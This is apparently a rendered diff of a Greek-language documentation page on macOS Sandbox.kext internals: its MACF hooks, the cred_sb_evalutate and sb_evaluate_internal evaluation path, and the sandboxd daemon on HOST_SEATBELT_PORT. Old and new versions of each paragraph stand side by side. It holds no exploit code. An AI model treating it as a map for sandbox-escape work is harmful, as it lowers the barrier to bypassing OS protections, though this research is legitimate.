**`Sandbox.kext`** χρησιμοποιεί περισσότερους από εκατό hooks μέσω MACF. Οι περισσότεροι από τους hooks θα ελέγξουν απλώς ορισμένες τυπικές περιπτώσεις που επιτρέπουν την εκτέλεση της ενέργειας, αν όχι, θα καλέσουν **`cred_sb_evalutate`** με τα **διαπιστευτήρια** από το MACF και έναν αριθμό που αντιστοιχεί στην **λειτουργία** που θα εκτελεστεί και ένα **buffer** για την έξοδο.
|
||||
|
||||
Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που συνδέει το **`mmap`** και η οποία θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι να επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή μνήμη dyld και αν ναι θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`cred_sb_evalutate`** για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης.
|
||||
Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που συνδέει το **`mmap`** και θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι να επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή μνήμη dyld και αν ναι θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`sb_evaluate_internal`** (ή μία από τις περιτυλίξεις της) για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης.
|
||||
|
||||
Επιπλέον, από τους εκατοντάδες hooks που χρησιμοποιεί το Sandbox, υπάρχουν 3 που είναι ιδιαίτερα ενδιαφέροντα:
|
||||
|
||||
* `mpo_proc_check_for`: Εφαρμόζει το προφίλ αν χρειάζεται και αν δεν έχει εφαρμοστεί προηγουμένως
|
||||
* `mpo_vnode_check_exec`: Καλείται όταν μια διαδικασία φορτώνει το σχετικό δυαδικό, στη συνέχεια εκτελείται έλεγχος προφίλ και επίσης έλεγχος που απαγορεύει τις εκτελέσεις SUID/SGID.
|
||||
* `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το πιο χρονοβόρο καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμη. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
|
||||
* `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το μεγαλύτερο καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμα. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
|
||||
|
||||
Σημειώστε ότι **`cred_sb_evalutate`** είναι μια περιτύλιξη πάνω από **`sb_evaluate`** και αυτή η συνάρτηση παίρνει τα διαπιστευτήρια που περνιούνται και στη συνέχεια εκτελεί την αξιολόγηση χρησιμοποιώντας τη συνάρτηση **`eval`** που συνήθως αξιολογεί το **προφίλ πλατφόρμας** το οποίο εφαρμόζεται από προεπιλογή σε όλες τις διαδικασίες και στη συνέχεια το **συγκεκριμένο προφίλ διαδικασίας**. Σημειώστε ότι το προφίλ πλατφόρμας είναι ένα από τα κύρια συστατικά του **SIP** στο macOS.
|
||||
Σημειώστε ότι **`_cred_sb_evalutate`** είναι μια περιτύλιξη πάνω από **`sb_evaluate_internal`** και αυτή η συνάρτηση παίρνει τα διαπιστευτήρια που περνιούνται και στη συνέχεια εκτελεί την αξιολόγηση χρησιμοποιώντας τη συνάρτηση **`eval`** που συνήθως αξιολογεί το **προφίλ πλατφόρμας** που εφαρμόζεται από προεπιλογή σε όλες τις διαδικασίες και στη συνέχεια το **συγκεκριμένο προφίλ διαδικασίας**. Σημειώστε ότι το προφίλ πλατφόρμας είναι ένα από τα κύρια συστατικά του **SIP** στο macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελείται εκθέτοντας την υπηρεσία XPC Mach `com.apple.sandboxd` και δεσμεύοντας την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
|
||||
Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελεί την υπηρεσία XPC Mach `com.apple.sandboxd` και συνδέει την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
|
||||
|
||||
## References
|
||||
|
||||
|
|
Loading…
Reference in a new issue